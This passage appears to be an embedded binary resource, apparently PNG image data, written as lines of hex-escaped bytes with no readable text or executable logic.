\xb5\x9c\xae\x79\x57\x18\x45\xeb\x4b\x0c\x7f\x6f\xce\xea\xf6\xb6\
\x2d\x3b\xdf\xed\xed\x2b\x07\xa2\x25\x24\x9d\xfe\x1a\xc4\x1d\xdb\
\xb4\xf5\xb2\xed\x0b\xf8\x30\xa9\x85\x8e\x67\x51\x55\x6b\x9a\x31\
\x23\xf0\x4d\xbf\xd7\x33\xfb\x30\x4a\x3a\x09\x89\x5d\xbc\x01\x71\
\x31\xd6\xb8\xed\xac\x95\x94\x20\x05\xfd\xeb\xa0\x6f\x12\xef\x86\
\xc9\xb9\x5b\xbc\x9e\xb0\x67\x31\x95\x2c\x25\xcf\x42\xf2\xdc\x73\
\x39\x20\x59\x6b\xea\x22\x64\xfe\xbb\xc3\x90\x01\xa9\x4f\x46\x32\
\xeb\xa2\x9b\x76\x1d\x49\x6e\xf8\x20\xe2\x56\xdb\x47\xdc\x20\x3f\
\x11\xb1\x8c\x4a\xba\x92\xfe\x83\xf8\x60\xf8\xfe\x4b\xf5\x1a\xcb\
\xe8\x16\x62\x0b\xd3\x82\xc9\x8b\x17\x9d\x84\xa4\x38\x9f\x8d\xc4\
\xc4\x8e\x40\x26\x14\xbd\x19\x69\xa4\xaf\x46\xac\x87\xf3\x11\xf0\
\xe9\x98\x62\x8d\x75\x12\x15\x0f\x48\x90\x07\x89\x56\x3a\x7e\x0f\
\x4a\xd1\xe7\x22\xe8\x7f\x8a\x06\xa3\x69\x49\xb7\x2d\x35\xf0\x29\
\xb9\xe3\xc6\xd2\xa6\xc0\xa8\xe2\x19\x46\x7a\xa9\xb7\x2f\x01\x9f\
\x47\x02\xd9\xa7\x6e\xc2\xa1\x6d\x86\x76\x01\xff\x11\xc9\xf6\x7a\
\x1d\xe2\x66\xcc\x59\x0b\x5d\xac\x24\xdd\x43\xf6\xac\x24\xaf\xf7\
\x6a\x5f\xcb\xb9\xef\x6a\xb3\xe4\x6a\x13\x1e\x4a\xdb\xd3\x75\xf9\
\x06\x12\xc0\x7e\x2f\x32\x57\xdd\x83\x7a\xe5\x98\xde\xb9\xdf\x8d\
\xc4\x14\xbe\xd2\xab\x27\x37\x63\x64\x51\x9c\x42\x79\xb0\x6d\xd2\
\xbf\xaa\xba\xb5\x22\x53\x59\xa5\xee\xb1\x07\x37\xaa\xcf\x44\x10\
\xb2\x30\xda\x00\x9e\x0e\xfc\x00\xb1\x4b\xf1\x10\x64\x5e\x3d\x90\
\x7b\xeb\x1e\x04\x48\xe7\x01\x17\x10\x43\xc7\xdb\x96\x2b\x51\x47\
\x27\xba\xaf\xf4\xeb\xd6\x62\xb3\xef\xd3\xb2\x0d\x99\xbe\x5e\x1f\
\x43\x62\x8a\x4d\x5b\x2f\x9b\xc0\x30\x29\xd0\x8c\xb4\x9f\x69\x59\
\x46\x91\x39\x97\x6e\xd8\x37\x22\xb3\x23\xcf\x93\xce\x01\x76\x23\
\xf1\x8c\x2b\x19\x6c\x7c\xbb\x58\x49\xa3\x4c\x2b\x64\xd7\x23\x17\
\x8b\xd7\x20\x44\x96\x52\x54\xbc\xd7\x23\xeb\xc8\xbe\x37\xfa\xec\
\x55\x88\x15\xe0\x9d\x6f\x54\x9e\x82\xb8\x62\x82\x94\x0b\x00\x00\
\x20\x00\x49\x44\x41\x54\xfd\x1e\x45\x7d\xcf\xfa\x66\x24\xe6\x94\
\xae\x37\xf8\x7f\x9c\x13\xa9\xfb\x6f\xdc\x44\xff\x1a\x26\x4b\x21\
\xb2\x8e\x56\x90\x67\x24\xfd\x04\x7d\xd0\xd4\x2a\x3d\x4b\xea\xf9\
\xc8\x7c\x78\xbf\xd7\x3b\x8f\xc8\x75\x17\xb9\xf5\x2c\xd4\x71\x3e\
\x9b\xb6\xd9\x7b\x08\xb3\xae\xd3\x82\xbd\xd7\xb5\x2c\xec\xf5\xfd\
\x7e\x35\x70\x1d\x92\x21\xd9\xb4\xb5\xf2\x3a\x23\x53\xd3\xb4\xdd\
\x74\x5a\xfa\xa6\x7e\x1b\xf2\xa4\xd7\x79\x1b\x14\x77\x34\xf0\xdf\
\x90\xde\xf7\x3b\x91\xe4\x86\x12\x8c\x22\x2b\x29\x01\x09\xb5\xae\
\xdd\x34\xb9\x78\x52\xd4\xb0\x58\x18\x45\x2e\xbc\xb4\xff\xe8\x78\
\x6b\x21\x15\xb9\xfa\xd2\xba\x6e\x98\x22\x17\x80\xd7\x70\xbe\x04\
\xb1\x2c\xba\xea\xbd\xea\x1c\x73\xda\x5d\xb9\xbf\xaf\xf7\x96\x9e\
\x75\x64\xcf\xf9\x5b\x91\x81\xbe\xa5\xff\xdc\x3e\x04\x9a\xc7\xd2\
\x77\x83\x69\x9d\x8d\x74\xd6\xde\x06\xfc\x26\x62\x35\xd9\x6b\x64\
\x61\xa4\xd7\x97\xd4\x3a\xe6\x3d\x5a\xb5\x1d\x1d\x9c\xcf\x26\x45\
\xae\xb9\x74\xad\x52\x5c\xf5\x0a\x1a\x8c\xa6\xa1\xd2\x6f\xbe\xa5\
\x9a\x25\x18\x69\xdd\xc1\xfc\x0e\x8a\x5b\x41\x9e\x05\x74\x06\x32\
\x95\xd0\x55\xd4\x59\x49\xa9\xe4\xdc\x77\x5d\xa1\x64\xb7\xe9\x86\
\xd8\x6b\x20\x2c\xb8\x6a\x52\xc1\x6b\x61\x14\x81\xc9\x02\x29\x1d\
\x5b\xce\xfd\xf8\x1f\x9c\x73\xac\xd1\xa7\xcd\xfe\x3c\x6d\x50\x97\
\x91\xb7\x97\xc1\x87\x0c\xda\x86\x56\x9f\xeb\x8b\x29\xdf\xcb\x1b\
\x88\x9b\xf7\x75\x08\x8c\x96\x91\x29\x8d\x7e\x91\xe1\x07\xd3\x2d\
\x21\x33\x92\x9f\x8e\x64\x76\x5e\x47\x0c\x9f\xb4\x9e\xb6\xd9\xdf\
\xda\x82\x69\x94\xa4\x99\xf4\xfb\xea\xe3\xd3\x9d\x29\xbd\xcd\xbb\
\x87\x6e\x75\xae\x47\xd3\xe6\x2b\xea\x44\x44\xff\x8f\x5a\x58\x8d\
\x04\xb5\x59\x85\x11\x48\x43\x3e\x8f\x30\x4a\x3a\x01\xb1\xee\xde\
\x8b\x4c\x7f\x92\x1e\x91\x5d\xeb\xb6\xb3\x50\xd2\x40\x4a\x8a\x7c\
\xf5\x91\x95\x64\xe5\x59\x4b\xd6\x62\xd2\x56\x92\x6d\x48\x72\x70\
\xca\xc1\xc8\x83\x9c\xe7\x46\xf4\xce\x61\x27\x12\x97\x3b\x22\x73\
\x5e\x9e\x6e\x47\x06\xe3\xa6\x7b\x3e\x8a\xb1\xac\x52\xd7\x4b\xbf\
\xc9\xac\xeb\xdf\x4e\x9f\xdf\x33\x28\xdf\xc7\xeb\x48\xb6\xe1\xbb\
\x7b\xf5\x1d\xbd\xe5\xf9\x48\xd2\xc7\x5f\xe3\x0f\xe4\x3d\x0d\x49\
\x9e\xf9\xe9\xde\xfb\x22\x20\xe9\xd8\x95\xf7\x1b\xa7\x46\x49\xbb\
\x6a\xb5\x72\x1d\x9c\xdc\xe7\x92\x6c\x87\x43\x83\x7a\x85\xe1\x6b\
\xd9\xb4\x35\xd2\x9d\x85\x52\x3b\x61\xdb\x9a\xd2\x3d\x51\xda\xe7\
\x90\x3c\x37\xc0\xac\xe8\x62\xe0\x33\xd3\x3e\x88\x31\xb5\x82\x34\
\x44\xbf\x8c\xc4\x09\x76\xa9\xb2\xd3\x94\x03\xd4\x72\x87\x53\xd2\
\x23\x9f\x57\xd4\xb2\xd4\xa0\x7b\xb2\x8d\x95\x0d\xb4\xa7\x94\xe4\
\x5c\xb1\x8f\xcf\x8e\x8a\x7e\x04\xb1\x57\xcf\x3d\x92\x3b\x7a\x3c\
\xf7\x3d\xc8\xac\x0d\xc9\xca\xa9\xd5\x37\xcd\xf9\xc3\x30\xb4\x37\
\x90\x29\x8c\x6a\xd2\xce\xbd\x06\xd4\x36\xb6\x0f\xa5\xce\x8a\x7b\
\x23\x92\x98\x60\x1f\xe7\xbd\x8a\x58\x0d\xff\x37\x71\x43\x7f\x24\
\x32\xeb\xf8\x6e\xf3\x39\x7d\xcf\x78\x25\x37\x26\xce\xbb\x9f\x6c\
\xe7\xc0\x73\xf3\x45\xa5\x74\x1f\xdd\x52\x71\x8d\x9a\x26\x2f\x6f\
\x06\x86\x5c\x2c\xd1\xbe\xc7\xd6\xbd\xf5\x6a\x6d\x0a\x8c\x36\x36\
\x36\xc6\xf5\x3d\xa6\x8b\xf0\x77\x13\x38\x9c\x59\xd0\x89\xc0\x2f\
\x21\x01\xe8\x83\x88\xa1\xa4\x81\x94\x8a\xd7\xb8\x68\x20\xa5\x46\
\x25\x07\x27\x2b\xaf\x21\x89\x1a\x15\xaf\x01\xb1\x4b\x0b\x1f\x0b\
\x19\x6f\x7b\xae\xec\x67\x18\x50\xfa\x18\xbe\x8e\x24\xb8\xfc\x24\
\x32\x66\x28\xa5\xc6\xe7\xf4\x10\x64\x3e\x3c\x6b\x09\x69\x17\xd6\
\x06\xf5\xf1\xa2\x1b\x19\x8c\xa3\x58\xeb\x72\x19\x89\x6d\x95\xfe\
\x63\x77\x00\x6f\xa1\xff\xdb\x5a\x20\xed\x40\xac\x9e\xf7\x65\xf6\
\x71\x24\x32\xfb\xf8\x03\xa8\x03\x52\xba\x6f\x74\x5d\xdf\x3f\x9e\
\xeb\xd4\x53\x64\x5d\xea\xeb\xaa\x9f\x86\x6c\x21\x94\xea\x37\x67\
\xbe\xa3\x69\xf3\xa4\x87\x4a\x40\x19\x24\x11\x78\x3c\x68\x75\x66\
\xc0\xb4\x2c\x23\xef\xc0\xbd\x0b\xf2\x61\xfa\x93\x68\xce\xbb\x56\
\x90\xa7\x83\xfe\x32\xd2\xe0\x25\x10\x59\x28\x79\x40\xd2\xd6\x52\
\x0e\x48\xb9\xde\xad\x55\xd4\x80\xd4\x58\x4b\x39\x20\x45\xd6\x51\
\xc9\x2a\xca\x59\x47\xb6\x01\x4b\xe5\x4a\xc4\xbd\xf5\x83\x88\x75\
\x71\x77\xee\x07\x40\xd2\xa4\x0f\x33\xe7\x6a\xcf\x7f\x77\x61\x1f\
\x49\x5e\x9c\x43\x5f\xef\x27\x50\xe7\xee\xfb\x2c\x72\x5e\x9e\x35\
\xac\xcb\x85\x85\xfd\xec\x06\x7e\x8d\x61\xcb\xca\xde\x37\x1e\x94\
\xbc\x0e\x4d\x94\x78\x60\x15\x41\x28\x67\x25\xa5\x65\xfa\x3d\x6f\
\x2c\x9c\x5b\xd3\xe4\xb5\x81\x84\x0e\xf4\x7a\x5a\x7a\x96\x6f\x8d\
\x9b\x2e\xf7\x5d\x45\x4d\x03\x46\x35\x3e\x47\x7d\x01\x5e\xb7\x15\
\x07\xb5\x85\x7a\x30\x02\x24\x6d\x25\x69\x28\x59\x30\x79\x40\xf2\
\x1a\x98\xda\x46\x05\xf2\x8d\x4a\xce\x4a\xf2\xe0\x34\x2a\x98\x4a\
\x56\x53\xc9\x5d\xa7\xcb\xcd\xc0\x5f\x02\x2f\x03\x5e\x4d\x1c\x83\
\x38\x0c\x79\xf4\x75\x04\xdd\x23\xa9\xcf\xea\xba\x8d\xe1\x3f\x6a\
\xd2\x12\xf5\x8f\xd7\xbe\x84\x61\x48\x44\xd6\xd1\x1d\x85\x7d\x3d\
\x0b\x81\xa0\x77\x8f\x44\xf7\x4b\x0e\x48\x51\x87\x66\x94\xce\x4d\
\xfa\xad\xbc\x7a\x8d\x65\xdb\x34\x59\xed\x63\x30\x11\x4a\x2b\xe7\
\xc6\xb6\xaf\xe7\x5c\x76\xb9\x7d\x0c\x69\x2b\x61\x14\x1d\x68\xa9\
\xbc\x9b\xed\x97\x6d\xb3\x8a\xc0\x48\x5b\x49\x5e\x1c\xc9\x03\x52\
\x57\x2b\xc9\x6b\x58\x60\xb8\x41\xb1\x37\x8d\xd7\x60\x97\x62\x49\
\x5d\xe3\x4a\xd6\x2a\xb2\x10\xd2\xeb\x91\x75\xa4\x1b\xb6\xbb\x91\
\x81\xa1\x3f\x8a\x58\x4c\xf6\xf1\xe6\x1b\x08\xb8\x2c\x84\x1e\x80\
\xcc\xde\xf0\x83\xd4\xc5\x8b\xf6\xd3\x7f\x6c\x84\x77\x5f\x1f\x48\
\xfd\xa3\xb5\xbf\x48\x19\x44\x3b\x90\xdf\xef\x43\x15\xfb\xfb\x79\
\xe4\xbe\xc9\x75\x5c\x4a\x16\x52\x17\xeb\xc8\x6b\x6c\x22\x37\x68\
\xd4\xa1\x79\x50\xc5\x79\x35\x4d\x56\x7b\x7b\xcb\x1a\x8b\xc8\x03\
\x4e\x0e\x54\x25\x28\xb9\xda\xaa\x6c\xba\x0d\xf2\xbe\x67\xfb\x5e\
\x7d\x23\xef\x41\x7c\xea\x3f\xb6\x39\x87\x36\x55\x3d\x04\x99\x4e\
\xe8\x1d\x08\x74\x75\x86\x91\x4d\x0f\x8e\x52\xc0\xd3\x7a\xca\xb6\
\x5b\x37\x75\x9d\xbe\xab\x83\xe0\xe9\x37\x89\x7a\x36\xde\x6b\x4b\
\xa6\x5e\x4a\x09\xdf\x50\xf5\x5c\xb0\xbc\x14\x38\x2f\x15\xef\x8f\
\x73\x21\xd2\x78\x3f\x06\xc9\x68\x3b\xa2\xb7\x9e\x1e\x2f\xbe\x86\
\x34\xda\xff\x95\x7a\xd7\x5c\xd2\xed\xf4\xaf\xad\xf7\xe7\x7c\x28\
\x75\x1d\xbd\xeb\x18\x9c\xb1\xc3\x73\x1d\xea\x8e\xc1\x47\x10\x57\
\x6f\x4e\xbb\x81\xa7\x21\xe7\xba\x41\x1f\xd4\xf6\x3e\xf1\xa0\x62\
\xcb\xb2\x7a\x0d\x86\xef\x09\xfd\x59\x2f\xc1\xc1\x9e\x43\x3a\x47\
\x5b\x6a\x66\xbb\x68\x9a\xac\xf6\x10\x5b\x3a\x35\x05\x53\xb7\xca\
\x5a\x41\xde\x6b\x5b\x9d\xda\xad\x1b\xad\x2e\xe5\x2d\xc0\x4b\xa9\
\x7b\x7a\xe7\xbc\x69\x15\x19\x33\x72\x26\x92\xb0\x71\x2d\xc3\xa9\
\xaf\xf6\x79\x49\x16\x4a\x7a\xdd\x42\x49\x03\x09\xe2\x9b\x4a\x83\
\x46\x2f\xb5\x34\x84\x2c\x90\x72\x29\xe1\x1e\x94\x22\x10\x75\x01\
\xd2\x32\x31\x8c\xe8\xbd\x76\x11\x70\x29\x83\xd6\x63\xd2\x33\xe9\
\x0e\x22\x10\x4b\xdd\xeb\x31\xa6\xf5\xda\xa9\xac\xae\xa4\x3f\x93\
\xb7\x86\x4e\x54\xbe\x4a\x5d\xc7\xee\xd9\xc8\x5c\x89\x1a\x00\x76\
\xac\x9a\x55\xae\x87\x9c\xf6\xe1\x65\xd5\x79\x75\xbb\x9f\x1c\x88\
\xd6\x81\xe3\x0a\xe7\xd3\x34\x79\xa5\x78\x91\x07\x96\xdc\x6f\xe9\
\xfd\xcf\xbc\x6d\x35\x1a\x78\xff\x34\xc6\x19\x79\xbd\xa8\xb4\x8c\
\x7a\x54\x77\x22\x33\x1a\x6c\xe7\x39\xac\x76\x03\xff\x03\x99\xb5\
\xfc\xbd\xc8\xcd\xe2\x59\x44\x91\x95\x64\x1b\x71\x0d\xa1\x75\xb3\
\x3d\x5d\x57\x2b\xdd\x59\xb0\xdb\xa3\xf7\xe5\xac\x15\x0b\x25\x0d\
\xa4\x9c\x55\x54\x03\x24\xbd\xbf\xe8\x4f\x62\x65\x1b\xe1\x5a\x6b\
\xdd\xea\x16\xfa\xd7\xcf\xbb\x5e\x0f\xaf\xdc\x4f\x7a\x62\x70\xda\
\x87\x77\x2e\xb6\xdc\x4b\x79\x46\xf1\x73\x91\x87\x13\xde\xc5\x60\
\x87\x24\x02\x11\x6a\xff\x2b\x66\x3d\x1d\x93\xfd\x6d\x4b\x8a\x7a\
\xd1\xf6\xbf\xbd\x41\x83\xd1\x34\x94\x2c\xa3\x9a\xdf\xa9\xf4\x1e\
\xad\x5c\x27\x2d\xab\xad\x80\x51\xd4\x93\xab\xb9\x51\x75\x4f\xf1\
\x8d\xc0\x0b\xe9\xfe\xe8\x81\x79\xd2\x2a\xf0\x22\x24\x05\xf9\x35\
\x88\x1b\x47\x5b\x48\xda\x4a\xb2\x50\xda\x6f\x96\x9e\xdb\xce\x03\
\x55\x64\x25\x45\x37\x50\x04\x26\xdd\xd0\x69\x98\x58\x70\x79\x70\
\xf2\x00\x94\x03\xd2\xb2\xb3\x8f\x74\x4d\xa2\x1e\xbe\x77\xfc\xef\
\x42\xe6\xb7\xeb\x3a\x29\xef\xe1\xc4\x83\x90\x8f\xa0\xdb\xd3\x4b\
\xb5\x75\x97\xf6\x91\x2b\xf7\x51\x86\xd1\x01\xc8\x63\x3a\xfe\x8d\
\x61\xd7\x5c\x3a\xde\x92\x5b\x4d\x83\xd1\x7e\x4e\x1f\xaf\xbd\x57\
\xec\xf6\x52\x59\x47\x92\x4a\x9a\xb6\x4e\xeb\x48\xcc\xa8\xe6\xf7\
\xe9\x5a\x92\x72\x10\x72\xb7\x4f\x6b\x06\x06\x0d\xa8\x9a\x9b\x75\
\x1d\x79\x9e\xcd\x07\x91\x8c\xa1\xed\xae\x93\x91\x71\x34\xef\x42\
\xac\xa4\x7b\x18\x8e\x25\x79\xd9\x4f\x16\x48\x39\x28\x45\x40\xf2\
\x6e\x2a\x4f\x39\x28\xd9\x9e\xb8\x07\x25\x0d\x13\xcf\x32\xf2\xf6\
\x61\x5f\x4b\xe7\xe8\x35\xa2\xb6\xd3\xe2\x9d\xd7\x5d\xc0\xef\x22\
\x19\x68\xdf\x46\xfd\x04\xa6\xa7\x22\x8f\x98\xb8\x8b\xe1\x8e\x56\
\xd7\xa4\xa0\x04\xd0\x08\xa2\x1e\x8c\x6a\x74\x3c\x7d\x17\xa0\xbd\
\x86\x49\xb9\xff\x9d\x75\xaf\xda\x4e\x8a\xfe\xff\x7a\xf2\xfe\xe3\
\xd1\x77\xb6\x79\xe9\xb6\x56\xfb\x7a\xcb\xdc\x6f\xa2\xdd\xa8\xb5\
\x10\x8a\x3a\x80\xa8\xd7\x43\x6d\x25\x8c\xf4\x81\xe8\x5e\x13\xe4\
\x2f\x84\x2e\x6f\x60\x31\x60\x04\x92\x01\xf5\x02\xe4\x99\x3f\x6f\
\x42\x66\x1c\xd0\x20\xfa\xff\xdb\x3b\xbb\x58\x5b\x92\xeb\xae\xff\
\xce\xbd\x73\xe7\xde\x19\xcf\xf8\x83\x8c\x07\x43\xe2\x19\x13\x6c\
\x19\x13\x3b\x76\x02\x31\xc4\x24\x58\x40\x14\x47\x13\xc4\x97\x20\
\x48\x08\x04\x41\x48\x79\x40\xbc\x44\x91\x10\x12\x04\x24\x94\xb7\
\x48\x20\xe0\x01\x84\x20\x21\x26\x19\x42\x88\x12\x48\x62\x63\x59\
\x46\x21\x09\x11\x09\xb6\x83\x43\x00\x0f\x98\xc4\x8c\x71\x3c\xe3\
\xaf\xf1\x9d\x3b\x73\x3f\xcf\x3d\x87\x87\xb5\xcb\xbb\xf6\xda\x6b\
\xad\x5a\xd5\xbb\xf7\x3e\x7b\x9f\x53\x7f\xa9\xd5\xd5\xbd\xf7\xe9\
\xd3\xdd\xbb\xaa\x7e\xf5\x5f\x55\x5d\xad\x1d\x52\x81\x95\x05\x24\
\x0d\xa5\x7a\xd1\x40\xf2\xc2\x4f\x51\x46\xd2\xdf\x8b\xc2\x6b\xa7\
\x4e\xba\x76\x49\x59\x10\x59\x83\x23\xea\xca\xbd\xd5\x6a\x2b\xcb\
\x7f\x42\xfa\x58\xde\x8c\xcc\x98\xf1\x0e\xe2\x10\xde\x55\xe4\xb7\
\x79\x2f\xeb\x15\xbc\x15\xfe\x8c\x54\x2a\x7a\x9c\xf5\x54\x18\xbd\
\x0e\x29\xdf\x96\x2b\xf2\x2a\x1f\x7d\x2f\x35\x88\x7a\x43\x75\xf5\
\xb5\x58\xd7\x05\xf2\x1e\xa7\xc7\x92\xc7\x1a\x9a\x47\xc5\x15\xc1\
\x7a\x1e\xc8\x98\x03\x0f\x42\x18\x6b\x9c\xed\xb5\xfd\x5b\x83\xd1\
\xe9\xe9\xe9\x69\xf0\x5e\x23\xdd\x6a\x2a\x6b\x0f\x4a\x65\x08\xe8\
\x33\xc8\xd4\xf9\xef\xd8\xd2\x69\xef\xa3\x1e\x43\x66\x1a\xf8\x38\
\xf2\xa6\xd3\x67\xc9\x85\xed\x0a\x80\x2c\x28\x79\xa1\xbb\x53\x95\
\xd6\xf2\x32\x98\xd5\x4a\x6e\x41\x49\xc3\xc8\x82\x90\xd7\x0f\xa6\
\x2b\xca\x13\x56\x21\x14\x01\xc9\x6a\xe4\x94\x89\x5b\xff\x27\x92\
\xc7\x7e\x1b\xe2\x94\xde\x85\x3f\x73\xfc\x5b\x91\x0a\xff\x37\x59\
\xad\xe8\x5b\x0f\xde\x6a\xd5\x30\x02\xbb\x50\xd7\x4b\xfd\xa0\x62\
\xa4\x57\xb3\xec\x8f\xb2\xa6\x7d\xa9\x8f\x5d\xdf\x03\x0b\x48\xde\
\xef\x57\x8e\xe1\xc1\xa9\x2e\xe7\xde\xff\xff\x63\x8d\xef\x0c\xcd\
\x2f\xab\xbf\xa8\x07\x48\x91\x2b\xc2\xd8\x97\x6a\xd4\x9e\xe5\xd0\
\xee\x9e\xca\xa2\x86\xd2\x8f\x71\xb1\x60\x54\xf4\xbb\x80\xef\x05\
\xfe\x23\xf0\x93\xc8\x73\x2e\x1e\x94\xa6\xba\x24\xcf\x2d\xd5\xd0\
\x69\x6d\xc3\x7a\x86\xd3\xd0\x01\xbf\x82\xf3\xe0\xa3\xf7\x6b\x67\
\x74\xaa\xd2\x11\x90\xac\x3c\x57\x57\xc6\x9f\x06\x7e\x00\xf8\x71\
\xe0\x0f\x23\xa3\xd3\xac\x7e\xa0\x87\x59\x87\xfa\x4b\xc8\x03\xb1\
\xd6\xc4\xa6\x5a\x8f\xab\x7b\x52\xee\x95\x4e\xd7\xe7\xfa\xda\xc4\
\x71\x61\x19\xda\xf5\xc2\x73\xf5\x35\x6b\x10\x79\x6e\x54\x1f\x07\
\xd6\x43\xb0\xfa\xb3\x96\xfe\x54\xf2\x7a\x86\xe6\x53\x0d\x23\x0b\
\x3e\x5e\xbd\xd0\x03\xa7\x6e\x9d\xf5\xac\xdd\xd6\x4d\xa8\x5b\xbb\
\x1a\x44\xf7\x81\x5f\x42\x5e\xcb\xf0\x86\x9d\x9f\xed\xd9\xeb\x12\
\x12\xa6\xfc\x06\xe0\xdf\x22\x93\x6b\xea\xa7\xe8\xef\xd1\xef\x92\
\xb4\x53\xaa\x2b\x97\x16\x94\x5a\x2d\x5f\xbd\xed\xb9\xa2\x08\x56\
\x16\x94\x74\x5e\xb1\x42\x74\xd6\xe8\x34\xab\x90\x5d\x52\xc7\x28\
\xe9\x17\x10\xf0\xbf\x0f\x71\x49\xef\x61\xd9\xd9\xfe\x45\xe4\xc5\
\x70\x1a\x46\x47\x8b\xfd\x19\x18\xbd\x09\x09\xc7\xd6\x33\x10\x68\
\xc7\x51\xd2\xa7\xc8\xc0\x89\x6c\x48\xab\x3c\xbf\x64\x85\xe7\xea\
\xeb\xf4\x1c\x91\xe7\x8c\x60\xf5\x37\xac\x65\xe5\x85\x28\x7f\xbc\
\x93\xdc\xeb\x3a\x86\xe6\x55\x81\x91\x0e\xcf\xb7\x9c\x51\x0b\x48\
\x45\xdd\x70\x3a\x3d\x3d\x3d\xdd\x2a\x8c\x8c\x50\x9d\x97\x79\xa3\
\x8b\xb6\xa0\xf4\x6f\x80\xef\xd9\xde\x99\xef\xbd\x1e\x41\x5e\x2e\
\xf7\x07\x91\xd0\x5d\x79\x8e\x46\x03\xe9\x1e\xeb\x2e\x49\x43\x49\
\x3f\x8b\xa4\xdd\x91\xe5\x92\x34\x94\xc0\xcf\x74\xd6\x7e\x5d\xd1\
\x66\x1d\x93\x06\x98\x6e\xc0\x68\x77\x54\xef\xaf\x43\x72\x3a\x5f\
\x45\xa3\xf3\x4a\x9e\xfb\x59\x64\x00\xcd\x1b\x91\x10\xd8\xb3\xc8\
\x23\x07\xd6\x68\xc0\x8f\x02\x5f\xe7\xdc\x8f\x5a\x0f\x22\x0f\xc8\
\x3e\xc3\x7a\xa5\x6d\x85\xc1\x7a\x46\xfd\xbd\xc8\x12\x46\xe5\x38\
\x35\xac\x3d\x10\x59\x4e\x34\x5a\xa8\x8e\x5f\x9f\x7b\x04\xa6\xf2\
\xf9\x77\x74\x5c\xcf\xd0\x3c\xba\x83\x94\x7f\xab\xbe\xad\xd7\x9e\
\x33\xf2\x5c\x12\xce\x3e\xbd\xdf\xd5\xae\x07\x30\x44\xa1\xba\xb2\
\x5d\x57\x0a\xda\x15\x95\xe5\x3f\x00\xdf\x89\x74\x7e\x5e\x64\xbd\
\x1e\x79\x67\xd2\x87\x11\x40\x7f\x86\x18\x48\x1a\x4a\xf5\xa2\x9d\
\x92\x06\x93\xd7\x32\xd2\x8a\xa0\xa4\x5b\xd3\xf5\x3e\x0b\x46\x7a\
\xdb\x83\x93\xd7\x52\xb3\xfa\x94\x34\x80\x34\x84\xee\xb3\x3a\x23\
\x82\xee\xcc\x7f\x86\x75\xe7\xa9\x2b\xf0\x8f\x21\xbf\x45\xe6\xf9\
\x99\xb7\x2c\x8e\x59\x14\x39\x89\xec\xf3\x4b\x2c\x8e\x59\x46\xf6\
\xe9\x7b\xa2\x1d\xa0\x5e\x5a\x8e\xd5\x92\xfe\x1d\xcb\x3e\xef\xf7\
\x7c\x35\xf0\xad\x1d\xd7\x33\x34\x8f\xea\x37\x03\x47\x11\x83\x08\
\x56\x2d\xb7\x54\xd4\xd3\x40\xed\x1e\x86\x3a\x97\x22\x4b\xe7\xdd\
\x9c\x1a\x4a\xb7\x91\x39\xc8\x86\x44\xbf\x17\xf8\x3e\x64\x4e\xb6\
\xdf\xce\xea\x5c\x77\xad\x39\xef\xa2\x77\x27\x45\x13\x6b\x66\x5a\
\xd3\x5a\x51\x2b\x2a\x72\xc3\x51\x1f\x62\xcf\x7c\x78\xd6\x5c\x78\
\xd1\x72\xd7\xd8\xe7\x4d\xf8\xaa\xff\xcf\xfb\x8c\xeb\xb7\xf4\x96\
\xc6\xe7\xf5\xfd\x7c\x63\xf2\x98\xcf\x22\x21\x46\x2f\xf4\xd6\xe3\
\x7c\x2c\x10\x45\xfb\x61\xfd\xf7\xb7\x8e\xf7\x27\x90\x7c\x38\xb4\
\x5b\xbd\x84\x5d\xcf\x46\xf5\xaf\xb7\xed\xd5\xdd\xba\x9c\x5b\x5a\
\xdb\x7f\x96\x33\x30\xd4\xa1\x9e\xb2\xbf\xbe\x11\x96\x3b\xaa\x2b\
\xa0\x9f\x42\x6c\x7e\xcf\x03\x86\xe7\x59\x97\x91\xb0\xdd\xbb\x90\
\x70\xd2\xbf\x43\x26\x05\x2d\x4f\xf9\x97\x4a\x52\xbb\xa4\xb2\xd6\
\x2e\xa9\xbe\xe7\x56\xab\xc9\x72\x4b\xb5\x4b\xd1\xb2\x5a\x4c\x56\
\xbf\x83\x76\x4b\x3a\x34\x47\x95\xbe\xc4\xea\xff\xf4\x5c\x52\x1d\
\xb6\xd3\xe1\x29\x2b\x3c\x67\xa5\xbd\x30\x9e\x07\xe4\x5f\x42\x1e\
\xa8\xfd\x46\xe3\x5e\xd4\x7a\x2d\xf0\x7b\x90\xa1\xfb\x96\xbb\x28\
\x7a\x82\x7c\x24\xe0\xbf\xb2\x7a\xcf\x6a\x87\x58\xef\xcb\x80\xa9\
\xc8\x6b\x64\x78\xe7\x1c\x1d\xf3\x0a\x12\x66\x1e\xda\xad\x8e\x91\
\x30\x9d\xe5\x80\x32\x8d\xbf\x8c\x53\xc2\x59\xb7\xe0\xb4\x7d\x18\
\x35\x86\x78\xc3\x34\x67\x74\x9f\xe5\x0c\xcd\x7f\x71\x6b\x27\x7f\
\x98\x7a\x00\x19\x01\xf6\xcd\xc8\x00\x87\x9f\x42\xe6\x52\x8b\xc2\
\x76\x16\x90\x5a\x50\xca\x84\xc9\x2c\xd8\x44\xf2\xc0\x54\xa7\x2d\
\x50\x59\x7d\x44\x75\xa3\xe6\x72\xf5\xb9\x37\x58\xa1\x86\x8c\x15\
\xaa\x6b\x41\xcb\x02\xd2\x0f\x21\x0f\x74\x3e\xd1\xb8\xee\x3f\x8d\
\x0c\xca\xf9\x02\x76\xe5\x7e\x95\x7c\xe5\x7d\x0b\x79\x66\xaa\xd7\
\xf9\x44\x6e\x28\x02\x4d\x91\x6e\x5c\x5a\xc7\x2b\xf7\xe9\xbb\x81\
\xaf\x4e\x5e\xcf\xd0\x7c\xb2\x42\x74\xd9\x28\x44\x04\xa7\x0c\x90\
\x74\xfa\xcb\xdb\xe5\x65\xac\xbb\x0e\xd3\x59\xe1\xb9\x3a\xed\x85\
\x6c\xbc\xb7\x45\xfe\x24\x62\x3b\x87\xd6\x75\x05\x89\xc9\x7f\x3f\
\x32\xc9\xec\x6b\x59\x7d\x67\x92\xf7\xea\xf3\x3a\x74\xa7\xc3\x78\
\x56\xe8\x2e\x7a\x75\x45\x36\x7c\xa7\xa5\xf3\x86\x0e\x15\xe8\x82\
\x64\xe5\x8f\x4c\xf8\x2e\xf3\x5e\xa5\xbb\xce\xda\x0a\xe3\xe9\xd7\
\x5e\xdc\x02\xfe\x3e\x32\xba\x2e\xd2\x55\xe4\xd5\x0f\x5f\xc3\x7a\
\x21\x7f\x12\xf8\x6b\xe4\x47\xd1\xbd\x9f\xe5\xcc\x10\x16\x54\x22\
\xb8\x68\x69\x67\x14\xed\x8b\xe0\x53\x2f\xef\x04\xbe\x2b\x79\x2d\
